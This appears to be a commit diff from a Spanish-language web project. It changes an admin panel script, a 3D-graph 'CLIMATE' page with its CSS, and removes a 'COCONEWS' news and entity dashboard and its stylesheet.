}
$('prog').innerHTML = out;
}
function tile(k, v, pct, cls) {
return '<div class="tile"><div class="k">' + k + '</div><div class="v">' + v + '</div>' + (pct == null ? '' : meter(pct, cls)) + '</div>';
}
function progItem(lbl, val, total, extra) {
var pct = total ? (val / total * 100) : 0;
return '<div class="item"><div class="top"><span class="lbl">' + esc(lbl) + '</span>' +
'<span class="val"><b>' + val.toLocaleString('es-ES') + '</b> / ' + total.toLocaleString('es-ES') +
' · ' + pct.toFixed(0) + '%' + (extra ? ' · ' + esc(extra) : '') + '</span></div>' + meter(pct) + '</div>';
}
function markUpdated() { $('updated').textContent = 'actualizado ' + new Date().toLocaleTimeString('es-ES'); }
function switchTab(t) {
tab = t;
[].forEach.call(document.querySelectorAll('.tabs button'), function (b) { b.classList.toggle('active', b.dataset.tab === t); });
$('enviosView').style.display = t === 'envios' ? '' : 'none';
$('pipesView').style.display = t === 'pipelines' ? '' : 'none';
$('systemView').style.display = t === 'sistema' ? '' : 'none';
if (sysTimer) { clearInterval(sysTimer); sysTimer = null; }
if (t === 'sistema' || t === 'pipelines') {
loadSystem().catch(function (e) { alert(e.message); });
sysTimer = setInterval(function () { loadSystem().catch(function () {}); }, 4000);
} else { loadSubs().catch(function () {}); }
}
function refresh() { (tab === 'sistema' ? loadSystem() : loadSubs()).catch(function (e) { alert(e.message); }); }
/* ---------- eventos ---------- */
$('loginBtn').addEventListener('click', function () {
TOKEN = $('tokenInput').value.trim(); $('gateErr').textContent = '';
if (!TOKEN) { $('gateErr').textContent = 'Introduce el token.'; return; }
loadSubs().catch(function (e) { $('gateErr').textContent = e.message; showPanel(false); });
});
$('tokenInput').addEventListener('keydown', function (e) { if (e.key === 'Enter') $('loginBtn').click(); });
$('refreshBtn').addEventListener('click', refresh);
$('logoutBtn').addEventListener('click', function () { if (sysTimer) clearInterval(sysTimer); sysTimer = null; sessionStorage.removeItem('upl_admin_token'); TOKEN = ''; subsData = []; showPanel(false); $('tokenInput').value = ''; });
document.querySelector('.tabs').addEventListener('click', function (e) { if (e.target.dataset.tab) switchTab(e.target.dataset.tab); });
$('filters').addEventListener('click', function (e) { if (e.target.dataset.f) { filter = e.target.dataset.f; [].forEach.call(this.children, function (b) { b.classList.toggle('active', b.dataset.f === filter); }); renderSubs(); } });
$('list').addEventListener('click', function (e) {
var a = e.target.closest('a[data-file]'); if (a) { downloadFile(a.dataset.file, a.dataset.name); return; }
var b = e.target.closest('button[data-act]'); if (b) setEstado(b.dataset.ref, b.dataset.act);
});
if (TOKEN) loadSubs().catch(function () { showPanel(false); });
})();
</script>
</body>
</html>

View file

@ -1,6 +1,10 @@
/* La familia "Retrolift" no se distribuye con el repo: no hay @font-face. @font-face {
Las reglas que la piden caen a sans-serif. Para usarla, deja el .woff2 en font-family: "Retrolift";
fonts/ y anade aqui la regla con una ruta relativa. */ src: url("fonts/retrolift.woff2") format("woff2"),
url("fonts/retrolift.woff") format("woff");
font-weight: normal;
font-style: normal;
}
* { * {
margin: 0; margin: 0;
@ -251,28 +255,6 @@ nav {
background: #ff6600; background: #ff6600;
} }
#sidebar select {
padding: 10px;
border: 2px solid #39ff14;
background: black;
color: #39ff14;
border-radius: 5px;
box-shadow: 0 0 15px 0 rgba(0, 0, 0, 0.2);
transition: box-shadow 0.3s ease;
appearance: none;
cursor: pointer;
font-family: 'Fira Code', monospace;
font-size: 0.85em;
}
#sidebar select:hover { box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.3); }
#sidebar select option { background: #0a0a0a; color: #39ff14; }
#sidebar .sim-val {
font-weight: bold;
color: #fff;
background: rgba(57,255,20,0.15);
border-radius: 3px;
padding: 0 4px;
}
footer { footer {
width: 100%; width: 100%;
@ -348,54 +330,3 @@ footer p {
z-index: 1; z-index: 1;
} }
/* ===== Panel de detalle (split-screen) ===== */
main.split-screen { display: flex; height: 100vh; }
#graphPanel { flex: 1; position: relative; min-width: 0; transition: flex 0.3s ease; }
#detailPanel {
width: 0; max-width: 0; overflow: hidden;
transition: width 0.3s ease, max-width 0.3s ease;
background: #0a0a0a; color: #fff;
position: relative; z-index: 4;
box-shadow: inset 2px 0 10px rgba(0,0,0,0.6);
}
main.split-screen.show-detail #detailPanel { width: 50%; max-width: 50%; }
#closeDetail {
position: absolute; top: 12px; left: 12px;
background: rgba(0,0,0,0.85); border: 1px solid #39ff14;
color: #39ff14; font-size: 1em; font-family: 'Fira Code', monospace;
cursor: pointer; border-radius: 4px; padding: 4px 12px; z-index: 10;
transition: background 0.2s;
}
#closeDetail:hover { background: rgba(57,255,20,0.15); }
#detailContent {
padding: 52px 18px 20px; overflow-y: auto;
height: 100%; box-sizing: border-box;
display: none; flex-direction: column;
}
main.split-screen.show-detail #detailContent { display: flex; }
.detail-meta { display: flex; justify-content: space-between; font-size: 0.72em; color: #39ff14; opacity: 0.75; margin-bottom: 6px; gap: 8px; }
.detail-author { font-weight: bold; }
.detail-date { text-align: right; white-space: nowrap; }
.detail-title { font-size: 0.92em; color: #39ff14; margin: 0 0 12px; word-break: break-word; line-height: 1.3; }
.detail-relations { border-top: 1px solid rgba(57,255,20,0.25); border-bottom: 1px solid rgba(57,255,20,0.25); padding: 8px 0; margin-bottom: 14px; font-size: 0.78em; flex-shrink: 0; }
.relations-count { color: rgba(57,255,20,0.8); display: block; margin-bottom: 6px; }
.relations-nav { display: flex; align-items: center; gap: 6px; }
.relations-nav button { background: none; border: 1px solid #39ff14; color: #39ff14; cursor: pointer; padding: 3px 8px; border-radius: 3px; font-family: 'Fira Code', monospace; font-size: 0.85em; white-space: nowrap; transition: background 0.2s; }
.relations-nav button:hover:not(:disabled) { background: rgba(57,255,20,0.12); }
.relations-nav button:disabled { opacity: 0.3; cursor: default; }
#relationLabel { flex: 1; text-align: center; color: rgba(255,255,255,0.55); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-size: 0.85em; }
.detail-body { flex: 1; overflow-y: auto; white-space: pre-wrap; line-height: 1.55; font-size: 0.78em; color: #e0e0e0; font-family: 'Fira Code', monospace; min-height: 0; }
.detail-img { width: 100%; max-height: 180px; object-fit: contain; margin-bottom: 12px; border: 1px solid rgba(57,255,20,0.3); border-radius: 3px; }
#detailPanel .placeholder { color: rgba(255,255,255,0.3); font-style: italic; padding: 40px 20px; text-align: center; font-size: 0.85em; }
@media (max-width: 768px) {
main.split-screen.show-detail #graphPanel { display: none; }
main.split-screen.show-detail #detailPanel { width: 100%; max-width: 100%; }
}

View file

@ -1,88 +1,29 @@
<!DOCTYPE html> <!DOCTYPE html>
<html lang="es"> <html lang="en">
<head> <head>
<meta charset="UTF-8"> <meta charset="UTF-8">
<title>CLIMATE</title> <title>CLIMATE</title>
<link rel="stylesheet" href="climate.css"> <link rel="stylesheet" href="climate.css">
<link rel="stylesheet" href="sub-nav.css">
<!-- Fuentes de Google Fonts --> <!-- Fuentes de Google Fonts -->
<link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&display=swap" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&display=swap" rel="stylesheet">
<!-- Cargar 3d-force-graph (incluye Three.js) -->
<!-- CORRECTO: d3 primero, force-graph después -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
<script type="importmap"> <script src="https://unpkg.com/3d-force-graph"></script>
{ "imports": { "three": "https://esm.sh/three@0.179.0", "three/": "https://esm.sh/three@0.179.0/" } }
</script>
</head> </head>
<body> <body>
<nav class="top-nav"> <nav>
<div class="section-buttons"> <ul class="nav-links">
<li><a href="climate.html" class="climate">CLIMATE</a></li>
<div class="section-item"> </ul>
<a href="glob-war.html" class="section-btn glob-war-btn">GLOB-WAR</a>
</div>
<div class="section-item">
<a href="int-sec.html" class="section-btn int-sec-btn">INT-SEC</a>
</div>
<div class="section-item current">
<a href="climate.html" class="section-btn climate-btn">CLIMATE <span class="dropdown-arrow"></span></a>
<div class="section-dropdown">
<a href="#" onclick="setSubtema('cambio climático');return false;">Cambio Climático</a>
<a href="#" onclick="setSubtema('desastres naturales');return false;">Desastres Naturales</a>
<a href="#" onclick="setSubtema('conservación');return false;">Conservación</a>
<a href="#" onclick="setSubtema('energía renovable');return false;">Energía Renovable</a>
<a href="#" onclick="setSubtema('contaminacion');return false;">Escasez de Agua</a>
</div>
</div>
<div class="section-item">
<a href="eco-corp.html" class="section-btn eco-corp-btn">ECO-CORP</a>
</div>
<div class="section-item">
<a href="popl-up.html" class="section-btn popl-up-btn">POPL-UP</a>
</div>
</div>
</nav> </nav>
<script> <main>
function setSubtema(val) {
var sel = document.getElementById('param2');
if (sel) { sel.value = val; }
var form = document.getElementById('paramForm');
if (form) form.dispatchEvent(new Event('submit', { bubbles: true, cancelable: true }));
}
document.addEventListener('DOMContentLoaded', function() {
/* ── Dropdown touch (móvil) ── */
var curr = document.querySelector('.section-item.current');
if (curr) {
curr.querySelector('.section-btn').addEventListener('touchend', function(e) {
e.preventDefault();
curr.classList.toggle('open');
});
document.addEventListener('touchend', function(e) {
if (!curr.contains(e.target)) curr.classList.remove('open');
});
}
/* ── Sidebar: botón toggle visible en móvil ── */
var toggle = document.getElementById('sidebarToggle');
var sidebar = document.getElementById('sidebar');
if (toggle && sidebar) {
toggle.style.display = 'block';
toggle.addEventListener('click', function() {
sidebar.classList.toggle('active');
});
}
});
</script>
<main class="split-screen">
<div id="graphPanel" style="position:relative;">
<button id="volverGrafoBtn">← Volver al grafo completo</button>
<div id="climateContainer" style="position: absolute; width: 100%; height: 100%;"></div> <div id="climateContainer" style="position: absolute; width: 100%; height: 100%;"></div>
<div class="background"> <div class="background">
<img src="/images/flujos6.jpg"> <img src="/images/flujos6.jpg">
@ -98,26 +39,8 @@
}, 1000); }, 1000);
</script> </script>
</div> </div>
</div>
<div id="detailPanel">
<button id="closeDetail">✕ cerrar</button>
<div id="detailContent">
<div class="detail-meta">
<span class="detail-author"></span>
<span class="detail-date"></span>
</div>
<h2 class="detail-title"></h2>
<div class="detail-relations">
<span class="relations-count"></span>
<div class="relations-nav">
<button id="prevRelation" disabled>&#8592; ant</button>
<span id="relationLabel"></span>
<button id="nextRelation" disabled>sig &#8594;</button>
</div>
</div>
<div class="detail-body"></div>
</div>
</div>
</main> </main>
<div id="sidebar"> <div id="sidebar">
@ -131,23 +54,22 @@
<input type="date" id="fecha_fin" name="fecha_fin"> <input type="date" id="fecha_fin" name="fecha_fin">
<label for="nodos">Nodos:</label> <label for="nodos">Nodos:</label>
<input type="number" id="nodos" name="nodos" value="100" min="5" max="500"> <input type="number" id="nodos" name="nodos" value="100">
<label for="complejidad">% similitud: <span id="complejidadVal" class="sim-val">8</span></label> <label for="complejidad">Complejidad:</label>
<input type="range" id="complejidad" name="complejidad" min="1" max="25" value="8" <input type="range" id="complejidad" name="complejidad" min="1" max="40" value="20">
oninput="document.getElementById('complejidadVal').textContent = this.value">
<label for="param1">Palabra clave:</label> <label for="param1">Búsqueda por palabra:</label>
<input type="text" id="param1" name="param1" placeholder="ej: glaciares, CO2..."> <input type="text" id="param1" name="param1">
<label for="param2">Subtematica:</label> <label for="color1">Color 1:</label>
<select id="param2" name="param2"> <input type="color" id="color1" name="color1">
<option value="">— Todas —</option>
<option value="conservación">conservación</option> <label for="param2">Búsqueda por temática personalizada:</label>
<option value="cambio climático">cambio climático</option> <input type="text" id="param2" name="param2">
<option value="energía renovable">energía renovable</option>
<option value="desastres naturales">desastres naturales</option> <label for="color2">Color 2:</label>
</select> <input type="color" id="color2" name="color2">
<input type="submit" value="Aplicar"> <input type="submit" value="Aplicar">
</form> </form>
@ -155,8 +77,11 @@
<button id="sidebarToggle">Toggle Sidebar</button> <button id="sidebarToggle">Toggle Sidebar</button>
<footer>
<p><a href="#">GitHub</a> | <a href="#">Telegram</a> | <a href="#">Email</a> | <a href="#">Web de Tor</a></p>
</footer>
<!-- Movemos la inclusión del script aquí, al final del body --> <!-- Movemos la inclusión del script aquí, al final del body -->
<script src="semana-toggle.js"></script> <script src="output_climate_pruebas.js"></script>
<script type="module" src="output_climate_pruebas.js"></script>
</body> </body>
</html> </html>

View file

@ -1,394 +0,0 @@
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>COCONEWS</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&family=Oswald:wght@400;600;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="style.css">
</head>
<body>
<header>
<div class="header-inner">
<a href="/" class="back-link">← FLUJOS</a>
<div class="logo">COCO<span>NEWS</span></div>
<div class="header-tabs">
<button class="tab-btn active" data-tab="news">NOTICIAS</button>
<button class="tab-btn" data-tab="entities">ENTIDADES</button>
<button class="tab-btn" data-tab="feeds">FEEDS</button>
</div>
</div>
</header>
<div class="stats-bar" id="statsBar">
<div class="stat-item"><span class="stat-val" id="statTotal"></span><span class="stat-label">noticias</span></div>
<div class="stat-sep">|</div>
<div class="stat-item"><span class="stat-val" id="statHoy"></span><span class="stat-label">hoy</span></div>
<div class="stat-sep">|</div>
<div class="stat-item"><span class="stat-val" id="statFeeds"></span><span class="stat-label">feeds</span></div>
<div class="stat-sep">|</div>
<div class="stat-item"><span class="stat-val" id="statTrad"></span><span class="stat-label">traducidas</span></div>
<div class="stat-sep">|</div>
<div class="stat-item"><span class="stat-val" id="statNer"></span><span class="stat-label">con NER</span></div>
</div>
<!-- TAB: NOTICIAS -->
<div class="tab-content active" id="tab-news">
<div class="layout">
<aside class="sidebar">
<div class="filter-group">
<label>BUSCAR</label>
<input type="text" id="searchInput" placeholder="palabra clave...">
</div>
<div class="filter-group">
<label>TEMA</label>
<select id="temaSelect">
<option value="">— todos —</option>
</select>
</div>
<div class="filter-group">
<label>PAÍS / REGIÓN</label>
<input type="text" id="paisInput" placeholder="ej: Rusia, China...">
</div>
<div class="filter-group">
<label>ENTIDAD</label>
<input type="text" id="entidadInput" placeholder="persona u organización...">
</div>
<div class="btn-row">
<button id="applyBtn">APLICAR</button>
<button id="resetBtn" class="btn-sec">RESET</button>
</div>
<div class="sidebar-section">
<div class="sidebar-title">TOP TEMAS</div>
<div id="temasBars"></div>
</div>
<div class="sidebar-section">
<div class="sidebar-title">IDIOMAS</div>
<div id="idiomasBars"></div>
</div>
<div class="pagination">
<button id="prevBtn" disabled>← PREV</button>
<span id="pageInfo">1 / 1</span>
<button id="nextBtn">NEXT →</button>
</div>
</aside>
<section class="news-grid" id="newsGrid">
<div class="loading">cargando...</div>
</section>
</div>
</div>
<!-- TAB: ENTIDADES -->
<div class="tab-content" id="tab-entities">
<div class="entities-layout">
<div class="entity-panel">
<div class="entity-panel-header">
<span>PERSONAS</span>
<div class="tipo-tabs">
<button class="tipo-btn active" data-tipo="persona">PERSONAS</button>
<button class="tipo-btn" data-tipo="organizacion">ORGS</button>
<button class="tipo-btn" data-tipo="lugar">LUGARES</button>
</div>
</div>
<div id="entidadesList" class="entities-list"></div>
</div>
<div class="entity-news">
<div id="entityNewsTitle" class="entity-news-title">Selecciona una entidad</div>
<div id="entityNewsGrid" class="news-grid"></div>
</div>
</div>
</div>
<!-- TAB: FEEDS -->
<div class="tab-content" id="tab-feeds">
<div class="feeds-container">
<div id="feedsList" class="feeds-list"></div>
</div>
</div>
<script>
const API = '/coconews/api';
let currentPage = 1;
let totalPages = 1;
let currentFilters = {};
let currentTipo = 'persona';
// ── TABS ──────────────────────────────────────────────────────────────────
document.querySelectorAll('.tab-btn').forEach(btn => {
btn.addEventListener('click', () => {
document.querySelectorAll('.tab-btn').forEach(b => b.classList.remove('active'));
document.querySelectorAll('.tab-content').forEach(t => t.classList.remove('active'));
btn.classList.add('active');
document.getElementById('tab-' + btn.dataset.tab).classList.add('active');
if (btn.dataset.tab === 'entities') loadEntidades(currentTipo);
if (btn.dataset.tab === 'feeds') loadFeeds();
});
});
document.querySelectorAll('.tipo-btn').forEach(btn => {
btn.addEventListener('click', () => {
document.querySelectorAll('.tipo-btn').forEach(b => b.classList.remove('active'));
btn.classList.add('active');
currentTipo = btn.dataset.tipo;
loadEntidades(currentTipo);
});
});
// ── UTILS ─────────────────────────────────────────────────────────────────
async function fetchJSON(url) {
const r = await fetch(url);
if (!r.ok) throw new Error(r.statusText);
return r.json();
}
function fmtDate(d) {
if (!d) return '';
return new Date(d).toLocaleDateString('es-ES', { day: '2-digit', month: 'short', year: 'numeric' });
}
// ── STATS ─────────────────────────────────────────────────────────────────
async function loadStats() {
try {
const s = await fetchJSON(`${API}/stats`);
document.getElementById('statTotal').textContent = s.total_news.toLocaleString();
document.getElementById('statHoy').textContent = s.hoy;
document.getElementById('statFeeds').textContent = s.feeds_activos;
document.getElementById('statTrad').textContent = s.traducidas.toLocaleString();
document.getElementById('statNer').textContent = (s.con_ner || 0).toLocaleString();
renderBars('temasBars', s.por_tema, s.traducidas, (item) => {
document.getElementById('temaSelect').value = item._id;
currentFilters.tema = item._id;
loadNews(1);
});
renderBars('idiomasBars', s.por_idioma, s.traducidas);
} catch(e) { console.warn('Stats:', e); }
}
function renderBars(containerId, items, total, onClick) {
const el = document.getElementById(containerId);
if (!items || !items.length) { el.innerHTML = '<div class="empty-bar"></div>'; return; }
el.innerHTML = items.slice(0, 8).map(item => {
const pct = total > 0 ? Math.round((item.count / total) * 100) : 0;
const cursor = onClick ? 'style="cursor:pointer"' : '';
return `
<div class="bar-row" ${cursor} data-id="${item._id}">
<span class="bar-label">${item._id || '?'}</span>
<div class="bar-track"><div class="bar-fill" style="width:${pct}%"></div></div>
<span class="bar-count">${item.count}</span>
</div>`;
}).join('');
if (onClick) {
el.querySelectorAll('.bar-row').forEach(row => {
row.addEventListener('click', () => onClick({ _id: row.dataset.id }));
});
}
}
// ── TEMAS SELECT ──────────────────────────────────────────────────────────
async function loadTemas() {
try {
const temas = await fetchJSON(`${API}/temas`);
const sel = document.getElementById('temaSelect');
temas.forEach(t => {
const opt = document.createElement('option');
opt.value = t; opt.textContent = t;
sel.appendChild(opt);
});
} catch(e) { console.warn('Temas:', e); }
}
// ── NEWS CARDS ────────────────────────────────────────────────────────────
function buildCard(n) {
const texto = n.texto || n.titulo_original || '';
const titulo = texto.split('\n')[0].slice(0, 130);
const resumen = texto.split('\n').slice(2).join(' ').slice(0, 220);
const img = n.imagen_url
? `<div class="card-img"><img src="${n.imagen_url}" alt="" loading="lazy" onerror="this.parentElement.style.display='none'"></div>`
: '';
const entidades = (n.entidades || []).slice(0, 4).map(e =>
`<span class="ent-tag ent-${e.tipo}" title="${e.tipo}">${e.texto}</span>`
).join('');
return `
<article class="card" onclick="window.open('${n.url}','_blank')">
${img}
<div class="card-body">
<div class="card-meta">
<span class="tag-tema">${n.tema || ''}</span>
<span class="card-fuente">${n.fuente || ''}</span>
<span class="card-fecha">${fmtDate(n.fecha)}</span>
</div>
<h2 class="card-title">${titulo}</h2>
${resumen ? `<p class="card-resumen">${resumen}…</p>` : ''}
<div class="card-footer">
<div class="card-ents">${entidades}</div>
<div class="card-badges">
${n.subtema ? `<span class="badge badge-pais">${n.subtema}</span>` : ''}
${n.lang && n.lang !== 'es' ? `<span class="badge badge-lang">${n.lang.toUpperCase()}</span>` : ''}
</div>
</div>
</div>
</article>`;
}
async function loadNews(page = 1) {
const grid = document.getElementById('newsGrid');
grid.innerHTML = '<div class="loading">cargando...</div>';
const params = new URLSearchParams({ page, per_page: 24, ...currentFilters });
try {
const data = await fetchJSON(`${API}/news?${params}`);
totalPages = data.total_pages || 1;
currentPage = data.page;
document.getElementById('pageInfo').textContent = `${currentPage} / ${totalPages}`;
document.getElementById('prevBtn').disabled = currentPage <= 1;
document.getElementById('nextBtn').disabled = currentPage >= totalPages;
if (!data.news || data.news.length === 0) {
grid.innerHTML = '<div class="loading">sin resultados</div>';
return;
}
grid.innerHTML = data.news.map(buildCard).join('');
} catch(e) {
grid.innerHTML = `<div class="loading error">Error: ${e.message}</div>`;
}
}
// ── ENTIDADES ─────────────────────────────────────────────────────────────
const wikiCache = {};
async function getWikiImage(name) {
if (wikiCache[name] !== undefined) return wikiCache[name];
try {
const url = `https://en.wikipedia.org/api/rest_v1/page/summary/${encodeURIComponent(name)}`;
const r = await fetch(url, { signal: AbortSignal.timeout(3000) });
if (!r.ok) throw new Error();
const d = await r.json();
wikiCache[name] = d.thumbnail ? d.thumbnail.source : null;
} catch { wikiCache[name] = null; }
return wikiCache[name];
}
function initials(name) {
return name.split(' ').map(w => w[0]).slice(0,2).join('').toUpperCase();
}
async function loadEntidades(tipo) {
const list = document.getElementById('entidadesList');
list.innerHTML = '<div class="loading">cargando...</div>';
try {
const data = await fetchJSON(`${API}/entidades?tipo=${tipo}&limit=40`);
if (!data.length) { list.innerHTML = '<div class="loading">sin datos aún — el NER necesita procesar noticias primero</div>'; return; }
const max = data[0].count;
list.innerHTML = data.map(e => `
<div class="ent-row" data-texto="${e.texto}">
<div class="ent-avatar" id="av-${btoa(e.texto).replace(/[^a-z0-9]/gi,'')}">${initials(e.texto)}</div>
<div class="ent-info">
<span class="ent-name">${e.texto}</span>
<div class="ent-bar-row">
<div class="ent-bar-track"><div class="ent-bar-fill" style="width:${Math.round(e.count/max*100)}%"></div></div>
<span class="ent-count-label">${e.count} menciones</span>
</div>
</div>
</div>`).join('');
list.querySelectorAll('.ent-row').forEach(row => {
row.addEventListener('click', () => {
list.querySelectorAll('.ent-row').forEach(r => r.classList.remove('selected'));
row.classList.add('selected');
loadEntityNews(row.dataset.texto);
});
});
if (tipo === 'persona') {
data.forEach(async e => {
const img = await getWikiImage(e.texto);
if (!img) return;
const avId = 'av-' + btoa(e.texto).replace(/[^a-z0-9]/gi,'');
const el = document.getElementById(avId);
if (el) el.innerHTML = `<img src="${img}" alt="${e.texto}" onerror="this.parentElement.innerHTML='${initials(e.texto)}'">`;
});
}
} catch(e) {
list.innerHTML = `<div class="loading error">${e.message}</div>`;
}
}
async function loadEntityNews(entidad) {
document.getElementById('entityNewsTitle').innerHTML = `${entidad} <small>noticias relacionadas</small>`;
const grid = document.getElementById('entityNewsGrid');
grid.innerHTML = '<div class="loading">cargando...</div>';
try {
const data = await fetchJSON(`${API}/news?entidad=${encodeURIComponent(entidad)}&per_page=12`);
if (!data.news || !data.news.length) { grid.innerHTML = '<div class="loading">sin noticias</div>'; return; }
grid.innerHTML = data.news.map(buildCard).join('');
} catch(e) {
grid.innerHTML = `<div class="loading error">${e.message}</div>`;
}
}
// ── FEEDS ─────────────────────────────────────────────────────────────────
async function loadFeeds() {
const list = document.getElementById('feedsList');
list.innerHTML = '<div class="loading">cargando...</div>';
try {
const data = await fetchJSON(`${API}/feeds?per_page=100`);
list.innerHTML = data.feeds.map(f => `
<div class="feed-row ${f.activo ? '' : 'feed-off'}">
<div class="feed-info">
<span class="feed-nombre">${f.nombre}</span>
<span class="feed-tema tag-tema">${f.tema || ''}</span>
${f.subtema ? `<span class="feed-sub">${f.subtema}</span>` : ''}
</div>
<div class="feed-meta">
<span class="feed-lang">${f.idioma || ''}</span>
<span class="feed-ok ${f.activo ? 'ok' : 'off'}">${f.activo ? '● activo' : '○ inactivo'}</span>
${f.fallos > 0 ? `<span class="feed-fallos">${f.fallos} fallos</span>` : ''}
${f.ultimo_ok ? `<span class="feed-date">${fmtDate(f.ultimo_ok)}</span>` : ''}
</div>
</div>`).join('');
} catch(e) {
list.innerHTML = `<div class="loading error">${e.message}</div>`;
}
}
// ── EVENTOS ───────────────────────────────────────────────────────────────
document.getElementById('applyBtn').addEventListener('click', () => {
currentFilters = {};
const q = document.getElementById('searchInput').value.trim();
const tema = document.getElementById('temaSelect').value;
const pais = document.getElementById('paisInput').value.trim();
const ent = document.getElementById('entidadInput').value.trim();
if (q) currentFilters.q = q;
if (tema) currentFilters.tema = tema;
if (pais) currentFilters.pais = pais;
if (ent) currentFilters.entidad = ent;
loadNews(1);
});
document.getElementById('resetBtn').addEventListener('click', () => {
['searchInput','paisInput','entidadInput'].forEach(id => document.getElementById(id).value = '');
document.getElementById('temaSelect').value = '';
currentFilters = {};
loadNews(1);
});
document.getElementById('searchInput').addEventListener('keydown', e => {
if (e.key === 'Enter') document.getElementById('applyBtn').click();
});
document.getElementById('prevBtn').addEventListener('click', () => loadNews(currentPage - 1));
document.getElementById('nextBtn').addEventListener('click', () => loadNews(currentPage + 1));
// ── INIT ──────────────────────────────────────────────────────────────────
loadStats();
loadTemas();
loadNews(1);
</script>
</body>
</html>

View file

@ -1,413 +0,0 @@
@import url('https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&family=Oswald:wght@400;600;700&display=swap');
:root {
--bg: #000;
--surface: #0d0d0d;
--surface2: #1a1a1a;
--border: #2a2a2a;
--accent: #00ff6a;
--accent2: #00c4ff;
--warn: #ff6a00;
--text: #fff;
--muted: #888;
--font-head: 'Oswald', Impact, 'Arial Narrow', sans-serif;
--font-mono: 'Fira Code', monospace;
}
*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
html, body { height: 100%; }
body {
background: var(--bg);
color: var(--text);
font-family: var(--font-mono);
font-size: 13px;
display: flex;
flex-direction: column;
min-height: 100vh;
}
a { color: var(--accent); text-decoration: none; }
/* ── HEADER ── */
header {
background: #000;
border-bottom: 2px solid var(--accent);
padding: 0 24px;
height: 56px;
display: flex;
align-items: center;
position: sticky;
top: 0;
z-index: 100;
}
.header-inner { display: flex; align-items: center; gap: 28px; width: 100%; }
.back-link { color: var(--muted); font-size: 11px; letter-spacing: 1px; white-space: nowrap; font-family: var(--font-mono); }
.back-link:hover { color: var(--accent); }
.logo {
font-family: var(--font-head);
font-weight: 700;
font-size: 26px;
letter-spacing: 4px;
color: var(--text);
text-transform: uppercase;
white-space: nowrap;
}
.logo span { color: var(--accent); }
.header-tabs { display: flex; gap: 2px; margin-left: auto; }
.tab-btn {
background: none;
border: none;
border-bottom: 3px solid transparent;
color: var(--muted);
font-family: var(--font-head);
font-size: 14px;
font-weight: 600;
letter-spacing: 2px;
padding: 6px 18px 3px;
cursor: pointer;
transition: all 0.15s;
text-transform: uppercase;
}
.tab-btn:hover { color: var(--text); }
.tab-btn.active { color: var(--accent); border-bottom-color: var(--accent); }
/* ── STATS BAR ── */
.stats-bar {
display: flex;
align-items: center;
gap: 0;
background: var(--surface);
border-bottom: 1px solid var(--border);
overflow: hidden;
}
.stat-item {
display: flex;
flex-direction: column;
align-items: center;
gap: 2px;
padding: 10px 28px;
border-right: 1px solid var(--border);
flex: 1;
}
.stat-val {
font-family: var(--font-head);
font-size: 28px;
font-weight: 700;
color: var(--accent);
line-height: 1;
}
.stat-label {
font-size: 9px;
color: var(--muted);
letter-spacing: 2px;
text-transform: uppercase;
}
.stat-sep { display: none; }
/* ── TABS ── */
.tab-content { display: none; flex: 1; min-height: 0; }
.tab-content.active { display: flex; flex-direction: column; flex: 1; }
/* ── NEWS LAYOUT ── */
.layout { display: grid; grid-template-columns: 240px 1fr; flex: 1; min-height: 0; overflow: hidden; }
/* ── SIDEBAR ── */
.sidebar {
background: var(--surface);
border-right: 1px solid var(--border);
padding: 20px 14px;
display: flex;
flex-direction: column;
gap: 18px;
overflow-y: auto;
}
.filter-group { display: flex; flex-direction: column; gap: 6px; }
.filter-group label {
font-family: var(--font-head);
font-size: 12px;
font-weight: 600;
color: var(--muted);
letter-spacing: 2px;
text-transform: uppercase;
}
input, select {
background: #000;
border: 1px solid var(--border);
border-bottom: 2px solid var(--border);
color: var(--text);
font-family: var(--font-mono);
font-size: 12px;
padding: 8px 10px;
outline: none;
width: 100%;
transition: border-color 0.15s;
}
input:focus, select:focus { border-color: var(--accent); border-bottom-color: var(--accent); }
select option { background: #111; }
.btn-row { display: flex; gap: 6px; }
button {
background: var(--accent);
color: #000;
border: none;
font-family: var(--font-head);
font-size: 13px;
font-weight: 700;
letter-spacing: 2px;
padding: 9px 14px;
cursor: pointer;
text-transform: uppercase;
transition: all 0.15s;
flex: 1;
}
button:hover { background: #fff; }
button:disabled { opacity: 0.25; cursor: not-allowed; }
button.btn-sec {
background: transparent;
color: var(--muted);
border: 1px solid var(--border);
}
button.btn-sec:hover { color: var(--text); border-color: var(--text); background: transparent; }
.sidebar-section { display: flex; flex-direction: column; gap: 8px; }
.sidebar-title {
font-family: var(--font-head);
font-size: 11px;
font-weight: 600;
color: var(--muted);
letter-spacing: 2px;
text-transform: uppercase;
padding-bottom: 6px;
border-bottom: 1px solid var(--border);
}
.bar-row {
display: grid;
grid-template-columns: 1fr 50px 30px;
align-items: center;
gap: 8px;
padding: 4px 0;
cursor: pointer;
transition: opacity 0.15s;
}
.bar-row:hover { opacity: 0.75; }
.bar-label {
font-size: 11px;
color: var(--text);
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
text-transform: uppercase;
font-family: var(--font-head);
letter-spacing: 1px;
}
.bar-track { height: 5px; background: var(--border); overflow: hidden; }
.bar-fill { height: 100%; background: var(--accent); transition: width 0.4s; }
.bar-count { font-size: 11px; color: var(--muted); text-align: right; font-family: var(--font-head); }
.empty-bar { font-size: 11px; color: var(--muted); }
.pagination { display: flex; align-items: center; gap: 8px; margin-top: auto; padding-top: 12px; border-top: 1px solid var(--border); }
.pagination button { padding: 6px 10px; font-size: 11px; flex: none; }
#pageInfo { font-size: 12px; color: var(--muted); text-align: center; flex: 1; font-family: var(--font-head); letter-spacing: 1px; }
